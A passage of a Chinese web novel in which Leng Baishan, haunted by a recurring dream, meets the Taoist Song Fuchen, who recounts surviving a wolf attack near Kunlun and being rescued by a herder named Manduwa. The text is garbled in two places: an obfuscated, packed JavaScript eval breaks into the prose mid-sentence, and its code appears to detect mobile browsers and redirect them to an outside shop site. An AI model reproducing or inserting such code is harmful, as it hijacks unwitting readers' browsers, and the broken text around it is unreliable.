其实,冷柏山早已经醒了,也许是昨晚在地下空间待久了,身体受了冻,今早醒来时,身子仿佛千斤重,脑子晕晕乎乎,还一抽一抽地疼,他摸了摸自己的额头,只觉火一般的滚烫,于是撑着爬起来,从抽屉里翻出退烧药,吃完又迷迷糊糊地睡了过去。 这一睡,介于半梦半醒之间,他眼前一会儿黑一会白,就像不断闪现切换的幻灯片,渐渐的,幻灯片上开始出现图形,刚开始就像碎裂玻璃的胡乱组合,看不出规律和逻辑,可一阵乱闪之后,他看到了一些熟悉的画面。 昆仑山、鲸鱼湖、地窝子,山下的土屋…… 再然后,他看到了一些人脸,先是一个男人,五官深邃,眉眼中带着冷峻气息,那是他的弟弟,冷仲明;紧接着是一个圆脸的女人,她微微一笑,露出两个好看的酒窝,那是他的弟妹,王青枝;再接着是一个清瘦秀气的女人,他曾在无数个夜晚将她从记忆的深处拽出来,一遍遍回忆和呼唤,那是他的妻子,李寒梅。 女人定定地看着他,眼中噙满了泪,这么多年没见,她还是那么年轻,那么好看,他抖着手想要去触碰她,但手刚伸出去,她的脸就一晃而过,悬在半空的手拼命地抓来抓去,但最后能抓住的只有无尽的虚空。 他崩溃哀切地大喊:“寒梅!寒梅!寒梅!” 一声声饱含思念的呼喊很快就被冷风吹散,淹没在无尽旷野里,眼前的世界开始狂风怒吼,大雪倾覆,顷刻间白茫茫一片。 雪越积越深,慢慢覆盖住了他的脖子、下巴,紧接着是眼睛,最后直接将他整个人埋了进去,他感觉到彻骨的寒冷,从头顶直达脚底,四肢开始麻木、僵硬,他根本无法呼吸,剧烈的窒息感让他的胸腔几乎爆炸。 就在他以为自己要死过去的一瞬间,有人扒开了他身上的积雪,冷空气迅速窜入鼻腔,他大口大口呼吸着空气,艰难地睁开眼,一个穿着皮袄,戴着皮帽的长胡子长者正趴伏在他面前,不停摇晃着他,试图将他扶起来。 “哎呀,你阿门个(怎么样)?快点起来哩!” 一声声的呼喊就像是来自另一个世界的召唤,他能感觉一阵阵声浪的变化,在耳道中冲撞回响,紧接着眼前的世界开始疯狂后退,雪地突然下陷,他只感觉身下一轻,一下子从梦魇中惊醒过来。 胸腔剧烈起伏,久久不能平息,冷柏山浑身汗津津的,像是刚从水里捞出来,他盯着白惨惨的天花板,一束光正好透过窗帘的缝隙打在天花板上,留下一道浮动的光影,一会儿缩小,一会儿拉长。 搁在床头柜上的手机震个不停,提醒着他刚刚又做梦了,一个重复了二十几年的梦。 他呆愣愣地躺了好一会儿,手机仍旧响个不停,他这才扶着昏沉沉的脑袋慢慢起身,伸手拿过手机,一看来电显示,整个人瞬间就精神了。 是老爷子的电话。 他老人家一大清早打来,肯定没好事,但不接又不行,冷柏山只能硬着头皮接了电话。 冷老爷子洪亮的声音立马就传了过来:“晚晚去青海了你知不知道?” 是质问的语气,冷柏山品出了兴师问罪的味道,当下心里就觉得不妙,但还是老老实实回答:“知道。” 冷老爷子火气一下窜出八丈高:“知道?!你知道还让她去?你不知道咱们冷家的水捞子就她这一个独苗了,她要有个三长两短怎么办?怎么对得起列祖列宗……你就是这么当大伯的吗?” 每年冷晚晚去青海,老爷子都要发一通脾气,先去把冷月如骂一顿,再接着来他这里骂一通,等到骂累了才会消停,这一套流程和套路,冷柏山早已烂熟于心,也都尽量顺着老爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319321|199037||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子来。 冷柏山无奈,尽量语气平和:“她要去我有什么办法,又不能绑住她的手脚不让她去!再说了,她不是每年都要去吗……今年又不是第一年去了……” 冷老爷子本来一早在冷月如那里被三言两语随便敷衍了一翻,心里正窝着火呢,这会儿冷柏山算是撞枪口上了,逮着他就是一顿说:“你这是什么态度?你们一个个的,是觉得我现在老了不中用了,说话都不管用了,是吧?行行行,你们什么时候回老宅一趟,我把族谱改一改,我就当没养过你们……以后也别说是冷家一脉,最好把姓也给我改了……” 冷老爷子火冒三丈,嘴里骂骂咧咧了好一会儿,怒气像剑锋利刃透过手机听筒传过来,听在耳朵里扎得浑身难受。 等到老爷子终于说完,冷柏山长叹一口气,扶额说道:“不是,您老来找我们说有什么用,晚晚都多大了,人家有自己的主意了,要说您自己跟她去说。” 一说到这,冷老爷子更是恼火:“你以为我不想啊!她把我拉黑了!她可真是我的好孙女!枉我平时那么疼她……嘿,我就说了几句她不爱听的,她就把我拉黑了!” 冷老爷子说着说着就委屈上了,情绪一下子落到了谷底。 冷柏山长吸一口气,按了按眉头,低声吐槽:“这倒是她能干出来的事儿……” “简直跟她姑姑一个样……就顾着自己潇洒快活,一点不顾冷家的传承和发展,要我说啊,当初就不应该让她姑姑带她,有样学样的,一点不听老人的话,让她别去青海,不听,非去,让她相亲找对象,不听,不着急,哎……我也没几年活头了,不会到死都看不到咱们水捞子的下一代吧……” 冷老爷子越说越激动,冷柏山真是一个头两个大,心里一面埋怨老爷子管得太多,一面又数落晚晚太任性,干什么事儿都我行我素的,老爷子都多大年纪了,也不怕把老人家气出个好歹来。 冷家这一老一小两个活宝,可真是不让人省心。 冷老爷子絮絮叨叨说了半晌,也许是累了,又或许是想起了悲伤往事,突然长叹一口气,语气渐渐和缓下来:“罢了罢了,她要去青海就让她去吧,这孩子也怪可怜的,不明不白就没了爹娘,也难怪她放不下,老要往青海跑,随她去吧,但是你做大伯的,你得想方设法护着她,别让她出危险,我这把年纪了,再也受不住白发人送黑发人啦……” 听到这里,冷柏山心里也一阵阵难受,忙答:“我知道了,已经让佟刚过去了,他会护她们周全的!” “嗯,行了,就这样吧,我听评书去了!” 冷老爷子说完,也不等冷柏山回话,就自顾自地挂了电话。这老爷子每次都这样,想来就来,想走就走,跟龙卷风一样,来得急,走得也快。 冷柏山听着电话里嘟嘟的断线声,长吁一口气,随手把手机扔在了床头柜上,刚刚打电话没注意,这会儿脑子里又开始一抽一抽地疼,太阳穴直往外突突,他疼得脸皱成一团,下意识拍打起脑袋。 正拍着呢,手机又响了,冷柏山心里烦得很,以为冷老爷子又杀个回马枪,接起来语气有些不耐:“又怎么了?” 那头的人先是一愣,接着赶忙自报家门:“喂,冷老板,是我啊!石永安啊!” 冷柏山知道自己搞错了人,也是一愣,不过语气立马松快下来:“哦哦,是你啊!怎么了?” “好事,就之前跟你说的那个宋道长,来荆水了。” 冷柏山一听,眼睛顿时就亮了,忙问:“他来荆水了?那可以约着见一面吗?之前说了那么久,也没见到!” “给你打电话不就是为了这事儿嘛,不过他上午有事,见面的话就只能安排在晚上了。” “行,晚上我来安排,你带人过来就行!” “好,那晚上见!” 说完,电话那头的石永安就挂了电话。 这个石永安,是做石材生意的,跟冷家下面的建筑公司有多年的合作,两人因此相识,又因为志趣相投,一来二去就成了朋友。 石永安这人老顽童一个,一把年纪了也不安于现状,这些年除了做生意挣钱,剩下的时间常年都在外面跑,还净捡那种犄角旮旯的地方去,就这么走南闯北,时间久了,在路上认识了不少朋友,他的人际关系很神奇,认识的人那真叫一个五花八门,有草原上的牧民,少数民族村里的释比,少林寺的和尚,道观里的道长…… 冷柏山跟石永安认识后,常听他讲一些路上的怪异故事,知道他认识不少能人异士,靠着他的引荐,也结识了不少,这些人虽然各有各的能耐,但对冷柏山心中耿耿于怀的往事都闻所未闻、知之甚少,几十年间,尘封的疑团还没有解开,新的疑团反而不断涌现,他迫切想找到一个突破口,一个探寻真相的突破口。 前几年,石永安想到一个人——宋浮尘,虽说只是一个小道观的道长,看起来疯疯癫癫,但是常年在各地访山问道,见多识广,颇有些本事,说不定能解决冷柏山的问题,只是这人行踪不定,冷柏山好几次想见一面,但都因为各种各样的原因没能见成。 这次接到电话后,冷柏山知道机会难得,也顾不得头疼不疼了,忙一骨碌爬起来,一边给秘书打电话安排,一边就往浴室走,打算洗个澡后就出门。 大约一刻钟后,他洗漱完,换了身衣服,拿起手机就急匆匆往外走。都快走到楼梯口了,又想起有东西还没拿,赶忙去书房开了保险柜,从里面拿出一个文件袋夹在胳膊下,这才快步往楼梯口走,下楼时正好遇见了往楼上来的芳姐。 芳姐见他行色匆匆,忙问:“您这是要出门?” “嗯,晚上就不回来吃饭了!” 说完,快步下楼往门外走去,此时,一辆黑色高级轿车已经停在了别墅门口。 *** 20. 花儿 车载着冷柏山先去了公司,处理了一些日常业务,中午就简单在公司食堂吃了一点,下午开完会,这才忙不迭地去了晚上请客吃饭的地方——「炁」会所。 这是荆水最好的一家私人会所,在荆水最高楼的顶层,能看到荆水最美的城市夜景。这会所一般人根本进不去,只有vip才能订位入内,一楼刷vip卡,专属电梯直达顶层。 他之所以选择这里,一是为了表现出自己对客人的重视;二是这里很私密,吃饭聊天不会受到打扰;还有一个重要原因是这里菜品质量很高,食材都是从全国各地觅得的珍品,什么野松茸、野海参、鲍鱼、松露等等,那真是应有尽有,更值得一提的是这里的厨师也不一般,都是从一线城市挖过来的星级厨师,出品非常有保证。 今天来的是贵客,冷柏山自然格外注意,不想有一丝一毫的怠慢,于是从包间位置到菜品口味,都亲力亲为地对比挑选,各种细节都仔细确认过一翻后,这才坐到包间的茶桌边喝茶等客到。 大约过了半小时,冷柏山收到石永安发来的微信,说是已经出发,大约七点到,他忙让秘书到一楼大厅候着,到时候直接刷卡领着客人上来。 秘书是个三十出头的小伙子,看起来沉稳精干,他在楼下等了约莫二十来分钟,就看见石永安的车徐徐地开了过来,最后停在了大厅门口,秘书赶忙迎过去拉开了车门。 先下来的是一个打扮怪异的老道士,穿一身灰扑扑的破烂道士袍,头上挽着一个松垮垮的发髻,身上还背着一个黑色的破布包,看起来摇头晃脑、疯疯癫癫的,不过人倒是挺有礼貌,见秘书帮忙开门,还冲着秘书点头一笑。 这老道下车后,仰头看了看大楼里摩登现代的装修,扭头冲着车里的石永安说:“浮夸,太浮夸了,吃顿饭而已!” 说完,他又低头看了看身上的装扮,喃喃自语:“早知道我就换件新道袍了!” 石永安笑呵呵地下了车,揶揄道:“哟,我们宋道长几时还在乎过这个?不是说衣物都是身外之物,怎么今天还想着打扮上了?” 老道斜了他一眼,回呛:“你这个老匹夫,一天天怎么这么多话!我这不想着跟人家第一次见面,要礼貌一点嘛……一点格局都没有!” 石永安撇撇嘴:“对对对,是是是,我没格局!” “嘿,你这老匹夫……说话怎么老是阴阳怪气的……” 两人你一言我一语,争锋相对,秘书生怕这俩人在大厅里吵起来,赶忙出面,笑容满面地朝着两人伸伸手,热情地把两人往大厅里引。 “两位跟我来,我们老板已经在包间里等着了。” “好好好,走走走!”石永安一边应声,一边推着老道往里走。 那老道这才闭了嘴,跟着快步走到会所的专属电梯间。 秘书刷了卡,滴一声响,电梯门应声而开,几人上了电梯,一眨眼就上了顶层。 电梯门一开,幽香阵阵,视野正好对着会所的门头,素简的白墙上没有过多的装饰,只挂了个发光的「炁」字,「炁」这个字有点讲究的,是中医和道家学说中的概念,代表着宇宙中的一种无形能量和力量。 想来冷柏山挑这里,也是用了心的,但这会儿石永安和老道站在门口,左看看右看看,眼里除了一堵白墙和一条向里去的走廊,别无他物,一时间根本看不出什么名堂。 这是吃饭的地儿?两人正纳闷呢,一个身着素雅长袍的服务员从门内迎出来,浅笑吟吟地领着几人往里走。 进了门,眼前就是一条弯曲向里的走廊,沿着走廊往里走了一段,老道眼珠子瞬间就瞪大了,嘴巴因为太过讶异,半张着半天没闭上。 只见眼前回环的廊道两边竟然设计出了微缩的湖景、园景和山景,里面不光造了景,还造了风雨、光影、香气,一时间微风徐徐,树影婆娑,流水潺潺,自然的幽香浮动,这哪里是吃饭的地方啊,分明是看景的地方,精巧的设计布局和置景,宛若置身祖国的大好河山之中,真是让人叹为观止。 更值得一提是,这些景色还可以根据客人的喜好进行调节,比如喜欢雨天的,打开降雨模式,就能打造出烟雨江南的意境;喜欢夜景的,还能打造出夜游盛唐的美景。 听到这里,连见多识广的石永安都忍不住啧啧赞叹:“现在的人可真会玩儿!” 服务员一边往前走,一边介绍室内景观,石永安和老道紧随其后,行走其间,感觉眼睛都快不够用了,那真是三步一景,五步一画,这里的画有两层意思,一是这里的设计风格,仿佛让现实中自然的画面呈现在眼前,另一层是指走廊两侧挂着的一幅幅水墨画,笔触酣畅,写意舒展,据服务员介绍,这些画都是大师真迹,价值不菲。 一听说画是真迹,那疯颠老道盯着看的眼睛都直了,恨不得把脸贴到画框上去。石永安在一旁默默看着,表面看似波澜不惊,心里却暗暗称奇,心想荆水这么个小地方的会所竟然这么了不得,也不知道幕后老板是何方神圣,得找机会结识一下。 就这么走了五六分钟,服务员带着他们穿过一片郁郁葱葱的竹林,到达一间名为「观夏」的包间,秘书上前敲了敲门,等待了几秒后,轻轻推开了门。 只见冷柏山端坐在一侧的茶桌后,见客人到了,他笑容满面地起身迎了出来,几大步就跨到门口,很是热情地一把握住了老道的手,嘴里忙不迭地说:“哎呀,宋道长,真是欢迎欢迎啊,咱们今天终于见到了!” 说完,又朝石永安打招呼:“老石啊,这么长时间没见了,你倒是清瘦了不少啊!” 石老头一脸无奈:“没办法啊,我孙女管着我,这也不让我多吃,那也不让我多吃啊,她说什么千金难买老来瘦……我不管,我今天可是专门空着肚子来的,可得敞开肚子吃了!” “好好好,敞开吃,今天敞开吃!来来来,咱们先入座!” 冷柏山说着就把他们往餐桌的位置上引,还顺便朝秘书递了一个眼神,秘书立马会意,转身带上门退了出去。 老道第一次见冷柏山,自然说话客气:“这次让冷老板破费了啊!这么大场面!” 冷柏山大手一挥:“诶,宋道长说的什么话,能见到您是我的荣幸!小地方没什么好招待的,有招待不周的地方,您多担待哈!” 老道??连连摆手:“冷老板太客气了,这样好的地方我可是第一次见,算是开了眼了!荆水这地方可真是藏龙卧虎啊!” “宋道长见多识广,什么地儿没去过……您这么说可真是见笑了……” 两人你来我往,互相说着客套话,石永安跟两方都熟,懒得应付,于是一屁股坐在椅子上,闷着声就那么看着两人,看了好一会儿,见两人你来我往没完没了,终于忍不住,直接扬手打断:“行了行了,见了面就是朋友了,就都别来假模假式那一套了啊……” 此话一出,倒是消解了几人之间的生分和距离,冷柏山和宋浮尘对视了一眼,不约而同地笑了。 冷柏山笑着说:“老石说的是,都是朋友,大家都随便一点,别见外,就当自己家一样!” 宋浮尘应声:“好好好,竟然两位都这么说了,我也就不客气了!” 几人寒暄了片刻,有人轻轻敲了敲包厢的门,等了几秒,秘书推开包厢的门走了进来,身后还跟着几个推着送餐车的服务员,餐车上菜品多样,香气四溢,勾人食欲。 冷柏山很细心,提前询问过石永安,宋浮尘有没有什么忌口的地方,石永安说这老道自成一派,喝酒吃肉都不忌讳,冷柏山这才放心安排。 这一餐,海陆空的食材都安排上了,既有外地珍稀,也有当地特色,雅俗共赏、荤素搭配相得益彰,既不让来客感到负担,又能吃得舒心满意。 服务员上菜很麻利,不一会儿圆桌上就摆满了各色菜肴,冷柏山一边起身给两人倒酒,一边招呼两人动筷子开吃。 几人边吃边聊了一会儿,冷柏山就瞧出这宋浮尘确实不简单,也不知怎么就觉得他言谈举止间有一种参透世间奥秘的感觉,再加上宋浮尘常年在外游走,见多了各种怪力乱神之事,对什么都见怪不怪,冷柏山心中便渐渐生出一丝希望,也许这宋道长真能帮忙拨开笼罩在冷家头上的重重迷雾呢? 心里有了这样的盼望,话也就越聊投机,一起推杯换盏聊见闻、忆过往,酒过三巡,冷柏山犹犹豫豫,终于忍不住开了口:“今天请宋道长过来,其实……其实是有些事想要请教宋道长……” 一听到这话,石永安心领神会,知道冷柏山是有些私下的话要跟宋浮尘说,自己在这里不方便,于是很识趣地站起身来,拍了拍已经胀得溜圆的肚子:“行行行,那你们就先说会儿话,我吃得太饱了,出去转转……” 他说着,就往门外走。 宋浮尘在道上这么些年,知道有心宴请之人多半是有所求,于是放下手里的大蟹腿,囫囵地咽下嘴里的食物,用手背擦了擦嘴巴和胡子上的油,等石永安出去关上了门,这才郑重其事地开口:“冷老板有什么事就问吧,贫道一定知无不言!” 冷柏山原本有一肚子问题想问,结果这会儿机会来了,他却不知道该怎么开口了。冷家的故事跨越了几代人,纠葛而复杂,他这么多年频繁往来青海,用了不少人脉关系,但查来查去始终云山雾罩,真相无处寻找,再加上冷家身份特殊,又不便透露太多,因此说话多少有些顾虑。 冷柏山思前想后,沉吟了好一会儿,才开口问:“宋道长,昆仑山的‘井’您听说过吗?” 他之所以这么问,一来有试探的意思,想先探探对方的深浅,二来问这个问题看不出什么真实的意图,便于他隐藏,但这问题又跟冷家的故事有着千丝万缕的联系,一切事情的发生都源于“井”,如果“井”的事情清晰明了了,也许之后的事就能迎刃而解了。 听到这个问题,宋浮尘有些意外,他伸手拿起水杯,慢悠悠呷了一口水,说道:“没想到冷老板会对这个感兴趣啊……” 冷柏山笑了笑:“我跟老石一样,都有颗不服老的心,年轻的时候最爱四处冒险,对这种奇异未知的事物最感兴趣了,现在眼看着老了,能去的地方不多了,只能用耳朵听听过过瘾了。” 宋浮尘不傻,自然知道对方没说真话,人家花这么大的功夫请他过来,怎么可能只是想问这种不疼不痒的问题过过耳瘾呢?他猜想就只有一种可能,那就这个问题并不是平白无故问的,可能带着某种隐藏的目的,但既然别人有意隐瞒,他也不好拆穿,于是笑了笑,接着往下说。 “既然冷老板感兴趣,那我就讲讲吧,其实关于昆仑山的‘井’倒是很有些说头,《山海经》的海内西经中曾有记载,昆仑之虚,方八百里,高万仞。上有木禾,长五寻,大五围。面有九井,以玉为槛,面有九门,门有开明兽守之。” 冷柏山这些年自然是查到过这些内容,只是书中所讲是真是假,他一直抱着怀疑态度:“《山海经》一直以来都被当作怪诞奇书,大家也都是当作神话故事来看的,书中提到的‘井’只有简单几个字,到底是古人的异想天开,还是真实而隐秘的存在?” 宋浮尘想了想,接着说:“其实关于《山海经》真假的讨论这些年一直存在,有人说这书只是古人杜撰的志怪神话,但也有人认为一个个荒诞故事的背后,可能都隐藏着真相,就比如书里面讲了一个关于一目国的故事,后世学者和考古学家都证实‘一目国’确实在历史上存在过,而且曾经还在阿尔泰山活动的十分频繁,只是到底有没有人长着一个眼睛还没有定论,由此可见,书中的‘一目国’并不是杜撰出来的,只是不同时期的记述方式有所差异而造成了认知偏差而已。” “所以,我觉得书中提到的‘井’很可能也是真实存在的,这书中关于‘井’的描述虽然只有寥寥几个字,却透露了‘井’的具体方位,位于昆仑之虚四周,但这昆仑之虚又在何处,放在如今也是个难解之题,各种古书记载并不详尽,各种猜测众说纷纭,有人猜测就在如今的昆仑山脉当中,又有人说在青海的祁连山一带,还有人说在西藏冈底斯山脉,因而千百年间也从未听闻有人真的见到过传说中的‘井’。” 说到这里,宋浮尘停下来看了冷柏山一眼:“在我看来,要么是那些‘井’藏得隐秘,要么是‘井’的形态已经超出了大众的认知……” 听到这里,冷柏山心中不禁感慨万千,要说见过‘井’的,冷家的先祖之中说不定有见过的,只是都为此付出了生命的代价,在历史的洪流中如尘埃一般消失了,而那些想要找寻真相的后人,更像是陷入了沉重的命运轮回,不断重复着悲剧,这场沿袭百年的黑色梦魇,时至今日仍然笼罩在生还者的头顶,让人动弹不得。 失去了这么多人,一代又一代前赴后继,到头来,仍旧对“井”一无所知,它到底在哪里?是什么样子?井里有什么?没人知道!一切过往和传说杂糅在一起,成了一个久久悬在心头的未解之谜,想到这里,冷柏山思绪复杂,表面看似平静,心里早已如江涛翻涌。 宋浮尘看出冷柏山神色有异,轻轻拍了拍他的肩膀,问道:“冷老板,你没事吧?” 冷柏山回过神来,平静地摇摇头,顿了几秒说道:“我在想,有些地方实在有点说不通,您仅仅因为书中有三两个字提及,就认为‘井’是真实存在的?还是说……您这些年走南闯北,亲历过什么?所以才认定‘井’真的存在?” 宋浮尘看着冷柏山突然微微一笑,轻拍桌面说道:“不错!确实发生过一些事……” 他说着慢腾腾靠在椅背上,视线开始飘远,娓娓道来的声音仿佛也蒙上了时光的尘。 早年间,宋浮尘去过很多次青海,那地方天高地远、浩瀚辽阔,千百年来,在各种传说异闻的包装下,成了颇具神秘色彩的地方。但由于交通实在不便,前几次游历都只能浅尝则止,也没有怎么深入,后来一次他终于下定决心,想着当时还年轻,应该再往里走走,去看看昆仑山,要是等年纪大了,走不动了,想看也没法儿看了。 他当时的愿望很强烈,主要是因为昆仑山对他们道家人来说,意义非凡,被誉为‘万山之祖’,是修道圣地,既入道门,不去看实在有点遗憾,于是他也没多想就一个人云游去了青海。 那时的青海不同于现在,路况恶劣,条件艰苦,他一去就水土不服病倒了,发烧,上吐下泻,在西宁的土楼观里静修了整整一个星期,身体稍稍好转后,才向着昆仑山出发。 从土楼观到昆仑山差不多有一千公里,他沿着109国道,一路往西,沿途地形风貌多样,有山川、草场、戈壁、沙漠,他就这么靠着两条腿,在荒野大漠里穿行,累了找个避风的地方和衣就睡,渴了饿了就吃自己带着的水和干粮。 有时候运气好能遇到驾着驴车的牧民,可以搭顺风车走一段,当地人淳朴热情,下车的时候还会塞给他吃的喝的,就这么走走停停,他硬是走了半个多月才到格尔木境内,那时候吃也吃不好,睡也睡不好,人又瘦又黑,跟猴一样了。 他好不容易觉着昆仑山已经遥遥在望了,可天公不作美,一日突然狂风大作,天降暴雪,那雪花像棉花团一样簌簌往下落,不一会儿就在地上积了厚厚一层,宋浮尘衣着单薄,头上就戴了一个破斗笠,真是躲无可躲。 讲到这里,宋浮尘像是想起了当时的惨状,频频摇头叹气,一副还心有余悸的样子:“也得亏了我当时年轻,身体挺得住,我记得那时候风雪越来越大,风在天地间席卷,发出鬼哭狼嚎的声响,听得人胆战心惊,天色越来越暗,我又冷又饿,身子晃晃悠悠,深一脚浅一脚往前走,身上的衣服早就被吹透打湿了,冻得浑身颤抖,那种情况要是不赶在天黑前找个避风的地方生火烤一烤,晚上多半会被冻死,还可能会被野生动物当作猎物攻击。” 不过当时也没别的办法,宋浮尘只能咬紧牙关,拼命往视线尽头大山的方向跑,好在力竭时分终于连滚带爬找了座石头山,山体不大,山脚刚好有几块大石头相互抵靠在一起,形成了一个避风的三角地带,可以躲进去避避风雪。 宋浮尘顿时像抓住了救命稻草,立马一猫腰就钻了进去,也顾不得后背碎石扎不扎,反身就躺在地上,他就那么闭眼躺着,听着外头风雪肆掠的呼呼声,很庆幸自己及时找到了一个可以容身的地方,心想着各路神仙还是保佑他的,于是在心里默默地拜了拜。 他还记得那时候真是冷啊,冷得关节的骨头缝都疼,哆哆嗦嗦蜷成了一团,双手双脚几乎失去知觉,虽说暂时找到了避风的地方,但干躺着肯定不是办法,夜里难熬,这么下去多半还是会冻死,他思来想去,觉得不能就这么冻死在这里,还是得出去找点柴火野草,架个火堆烤烤,于是咬咬牙又爬起来,戴上斗笠,深一脚浅一脚地出去了。 外面天色已经暗下来,风雪越来越大,人被吹得都站都站不住,雪花铺天盖地下得睁不开眼,宋浮尘踉踉跄跄走了很远,那地儿没什么植物,到处是石头和戈壁,地上倒是有些地滚草,被大风吹得满地乱滚,他手忙脚乱地胡乱拢了一堆,抱起来正准备回去,忽然看见不远处有两点绿光一闪一闪…… 宋浮尘讲得绘声绘色,冷柏山听得入神,如临其境一般跟着一阵阵脊背发凉、心惊肉跳,心想着,不会是狼吧! 宋浮尘接着说:“我心里立刻有了不好的预感……接着绿光从四面八方围过来,当时视线不好看不清到底是什么,但很快我就明白过来,是狼,大概四五只,群狼行动,风雪夜狭路相逢,我当时就觉得,完了!我单枪匹马又没有什么防御的工具,心里很是绝望,想着我昆仑山都还没看到呢,就要死于这样一个风雪夜了……” “我那时年轻尚轻,道法又还没什么建树,让我就这么死。我又不甘心,当时心里就憋着一股气,想着撑死胆大的,饿死胆小的,撸起袖子搏一搏,古有武松打虎,现在就有我宋浮尘杀狼,说不定还能博得一线生机,想到这里,我把怀里的草一扔,在地上捡了块尖锐的石头,双目圆睁,定定地站在风雪里,示威一样,等着跟狼群拼个你死我活!紧接几条黑影就朝我扑了过来……” 正说到关键的地方,宋浮尘突然停下来喝水,冷柏山忙不迭地追问:“然后呢?” 宋浮尘苦笑:“然后,群狼不讲武德,群起而攻之,咬得我身上皮开肉绽,鲜血直流,躺在地上疼得死去活来,那时候肉身的疼痛倒是让我忘了身体的寒冷,浑身血气上涌,我当时心一横,扬起手里的石头不管不顾哐哐一顿猛砸,倒是也没让它们占便宜,好几只狼都受了伤,唉,这一下子更加触怒了它们,那群狼彻底杀红了眼,又龇牙咧嘴扑上来,摆明了不咬死我不罢休,我只能抱头躲避,几番攻击下来,我被咬得奄奄一息,眼见着血越流越多,意识越来越模糊,知道自己逃不掉了,就只能闭眼等死,不过……” 说到这里,宋浮尘突然打住,像说评书一般卖起了关子,慢悠悠呷了一口茶,等待了几秒后,这才书接上文:“也是我命不该绝,一个牧民路过救了我!” 冷柏山听到这里,跟着长吁一口气,叹道:“在那种情况下还能被救下,真是菩萨保佑,不幸中的万幸了。” 宋浮尘点点头,虽然已是几十年前的事了,但当时的那些场景 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他刚准备去炉子旁烤烤冻僵的手,无意朝床上看了一眼,见宋浮尘终于睁眼了,大喜过望,几步奔到床边,俯下身盯着宋浮尘左看看右看看,然后用蹩脚的汉语说:“阿门个(怎么样)你好着撒?你阿扎价(从哪里)来扎哩(这里)?” 宋浮尘一听这浓郁的方言味儿,简直眼前一黑,他根本听不懂,只能连蒙带猜,估摸着对方应该是问自己咋样,从哪里来,往哪里去之类的问题。 “我从……四川来……有个地方叫……长坪,知道吗?”宋浮尘气息微弱的开口。 老人呆愣愣地看着他,半晌过后,朝着他摆摆手,表示自己听不懂。 宋浮尘耐着性子一字一顿地重复说,老人抓耳挠腮,半天也没听明白,宋浮尘身上有伤,很是虚弱,几个回合后,几乎发不出声音了,只能放弃沟通。 就在两人大眼瞪小眼时,又有人推门,老人这下就跟抓住了救命稻草一般,眼睛里一下子就亮了,忙唤道:“索南,你快过来!” 进来的是一个穿着皮袄子的年轻小伙子,脸被冻得通红,他吸溜着鼻子,一边摘帽子拍身上的雪,一边抬头往屋里看,见宋浮尘醒了,很是高兴,几步就跨到床边,冲着宋浮尘说:“你怎么样啊?没事儿吧!你都昏迷四天了!我跟阿爸还以为你活不了了呢!” 宋浮尘大喜:“你会汉语?” 小伙子点点头。 虽然小伙子多少有点口音,但这下交流是没问题了,几人都长舒一口气。 老人让小伙子陪在床边跟宋浮尘说说话,自己则在屋里忙活着做晚饭,见炉火快灭了,他手脚麻利地挪开水壶,又撤掉炉子上的铁板,把一根铁钎子伸进炉膛里拨了拨残余的火星子,接着扔了几块干牛粪进去,对着猛吹了一阵儿,白烟伴着暖黄色的火焰瞬间腾起,不一会儿屋子里就暖和了起来。 老人在炉子旁忙得热火朝天,一会儿切切洗洗,一会儿大火翻炒,食物的香气和锅碗瓢盆碰撞在一起的叮当声,融成了寒冬里最温暖的交响。 年轻小伙子叫索南,他对眼前这个从南方来的道长充满了好奇,十分想要探问宋浮尘这一路的见闻,但又考虑到宋浮尘重伤刚醒,实在虚弱,也不能多说话,便自顾自地介绍起自己来。 他说自己从小跟父亲生活在昆仑山下,没怎么出过门,最远就是去县里卖牲口,在县里他接触了一些贩卖牛羊的商贩,跟着他们学会了汉语,而这些人也成了他探索外面世界的眼睛和耳朵。 他听说外面有烧煤就能不停跑的铁皮火车,像龙一样长,能绵延几公里,走起来会哐铛哐铛作响;外面的房子都一层一层往上盖,修得高的很,有的房子甚至都盖到了云里;还听说外面有一种小盒子,小人儿能在里面说话跳舞,说是叫电视机。 这些对他来说太新奇了,因为在他的认知里,世界应该是天地开阔,山川雄浑,住土屋吃羊肉,开心的时候策马奔腾,不开心的时候去草原打滚。 宋浮尘讲着讲着,脸上泛起笑意:“那小伙儿很能聊,嘴巴一张一合地说到天黑,屋里点起了油灯,老人家都做好了晚饭,小伙儿还意犹未尽,我当时受伤,浑身都疼,哪里还听得去那许多话,只得咬牙出声打断,问了我被救的事,他这才意识到自己光顾着好奇,竟然忘了介绍他阿爸了,忙拉着他阿爸介绍了一番,我这才知道屋里那个老人叫满都哇,当晚是索南先发现了我,跟他阿爸一起救了我,他阿妈早年间去世了,阿爸一个人拉扯他长大……” 满都哇?突然出现的人名让冷柏山心头一震,这个人也叫满都哇?这么巧?还是只是重名而已? 宋浮尘还在絮絮叨叨地讲述,但此时的冷柏山已然什么都听不进去了,满都哇,这个名字就像是一把打开回忆的钥匙,咔哒一声,关于过去的记忆倾泻而出,瞬间被淹没在纷杂的画面中,他觉得自己仿佛进入了一个幽暗迷宫,周身迷雾重重。 “我那真真是浑身是伤,动都动不了,不过好在没伤到要害,满都哇和索南都说我命大,要是死在戈壁里,最后可能连骨头渣都找不到,我也暗暗庆幸,遇到了外出找羊的满都哇,才捡回一条命。我受伤很严重,又遇上大雪封山,他们让我先安心住下来,于是我这一住就住了足足一个月,差不多半个月的时候才能慢慢下地活动。” 